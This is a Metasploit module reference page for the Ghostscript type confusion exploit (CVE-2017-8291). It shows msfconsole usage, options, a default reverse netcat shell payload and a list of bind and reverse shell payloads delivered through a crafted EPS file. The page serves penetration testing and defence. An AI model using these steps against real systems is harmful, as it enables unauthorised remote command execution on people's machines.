Ghostscript Type Confusion Arbitrary Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/fileformat/ghostscript_type_confusion metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Ghostscript Type Confusion Arbitrary Command Execution
Module: exploit/unix/fileformat/ghostscript_type_confusion
Source code: modules/exploits/unix/fileformat/ghostscript_type_confusion.rb
Disclosure date: 2017-04-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-8291
This module is also known as ghostbutt.
This module exploits a type confusion vulnerability in Ghostscript that can be exploited to obtain arbitrary command execution. This vulnerability affects Ghostscript versions 9.21 and earlier and can be exploited through libraries such as ImageMagick and Pillow.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/fileformat/ghostscript_type_confusion
msf exploit(ghostscript_type_confusion) > show targets
... a list of targets ...
msf exploit(ghostscript_type_confusion) > set TARGET target-id
msf exploit(ghostscript_type_confusion) > show options
... show and set options ...
msf exploit(ghostscript_type_confusion) > exploit
Go back to menu.
Msfconsole Usage
Here is how the unix/fileformat/ghostscript_type_confusion exploit module looks in the msfconsole:
msf6 > use exploit/unix/fileformat/ghostscript_type_confusion
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show info
Name: Ghostscript Type Confusion Arbitrary Command Execution
Module: exploit/unix/fileformat/ghostscript_type_confusion
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-04-27
Provided by:
Atlassian Security Team
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 EPS file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.eps yes Output file
Payload information:
Avoid: 5 characters
Description:
This module exploits a type confusion vulnerability in Ghostscript
that can be exploited to obtain arbitrary command execution. This
vulnerability affects Ghostscript versions 9.21 and earlier and can
be exploited through libraries such as ImageMagick and Pillow.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-8291
https://bugs.ghostscript.com/show_bug.cgi?id=697808
https://seclists.org/oss-sec/2017/q2/148
https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d
https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3
Also known as:
ghostbutt
Related modules:
exploit/multi/fileformat/ghostscript_failed_restore
exploit/unix/fileformat/imagemagick_delegate
Module Options
This is a complete list of options available in the unix/fileformat/ghostscript_type_confusion exploit:
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show options
Module options (exploit/unix/fileformat/ghostscript_type_confusion):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.eps yes Output file
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 EPS file
Advanced Options
Here is a complete list of advanced options supported by the unix/fileformat/ghostscript_type_confusion exploit:
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show advanced
Module advanced options (exploit/unix/fileformat/ghostscript_type_confusion):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/fileformat/ghostscript_type_confusion module can exploit:
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show targets
Exploit targets:
Id Name
-- ----
0 EPS file
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/fileformat/ghostscript_type_confusion exploit:
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/fileformat/ghostscript_type_confusion exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/fileformat/ghostscript_type_confusion) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11769 Merged Pull Request: Change dump_aka to dump_notes and add field for related modules
- #10570 Merged Pull Request: AKA Metadata Refactor
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10564 Merged Pull Request: Add Ghostscript failed restore exploit from taviso (CVE-2018-16509)
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8660 Merged Pull Request: add a few more AKA references
- #8316 Merged Pull Request: Ghostscript CVE-2017-8291 module based on the public PoC
References
- CVE-2017-8291
- https://bugs.ghostscript.com/show_bug.cgi?id=697808
- https://seclists.org/oss-sec/2017/q2/148
- https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d
- https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3
See Also
Check also the following modules related to this module:
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- exploit/unix/fileformat/imagemagick_delegate
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/browser/adobe_flash_net_connection_confusion
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/windows/browser/adobe_flash_filters_type_confusion
- exploit/unix/webapp/sixapart_movabletype_storable_exec
- exploit/multi/browser/firefox_proxy_prototype
- exploit/multi/browser/java_jre17_reflection_types
- exploit/multi/http/movabletype_upgrade_exec
- exploit/multi/http/struts2_content_type_ognl
- exploit/osx/arkeia/type77
- exploit/osx/rtsp/quicktime_rtsp_content_type
- exploit/windows/arkeia/type77
- exploit/windows/browser/adobe_cooltype_sing
- exploit/windows/browser/apple_quicktime_mime_type
- exploit/windows/browser/hp_alm_xgo_setshapenodetype_exec
- exploit/windows/browser/ms03_020_ie_objecttype
- exploit/windows/browser/windvd7_applicationtype
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/visiwave_vwr_type
- exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc
- exploit/windows/misc/splayer_content_type
- auxiliary/scanner/http/bitweaver_overlay_type_traversal
Related Nessus plugins:
Authors
- Atlassian Security Team
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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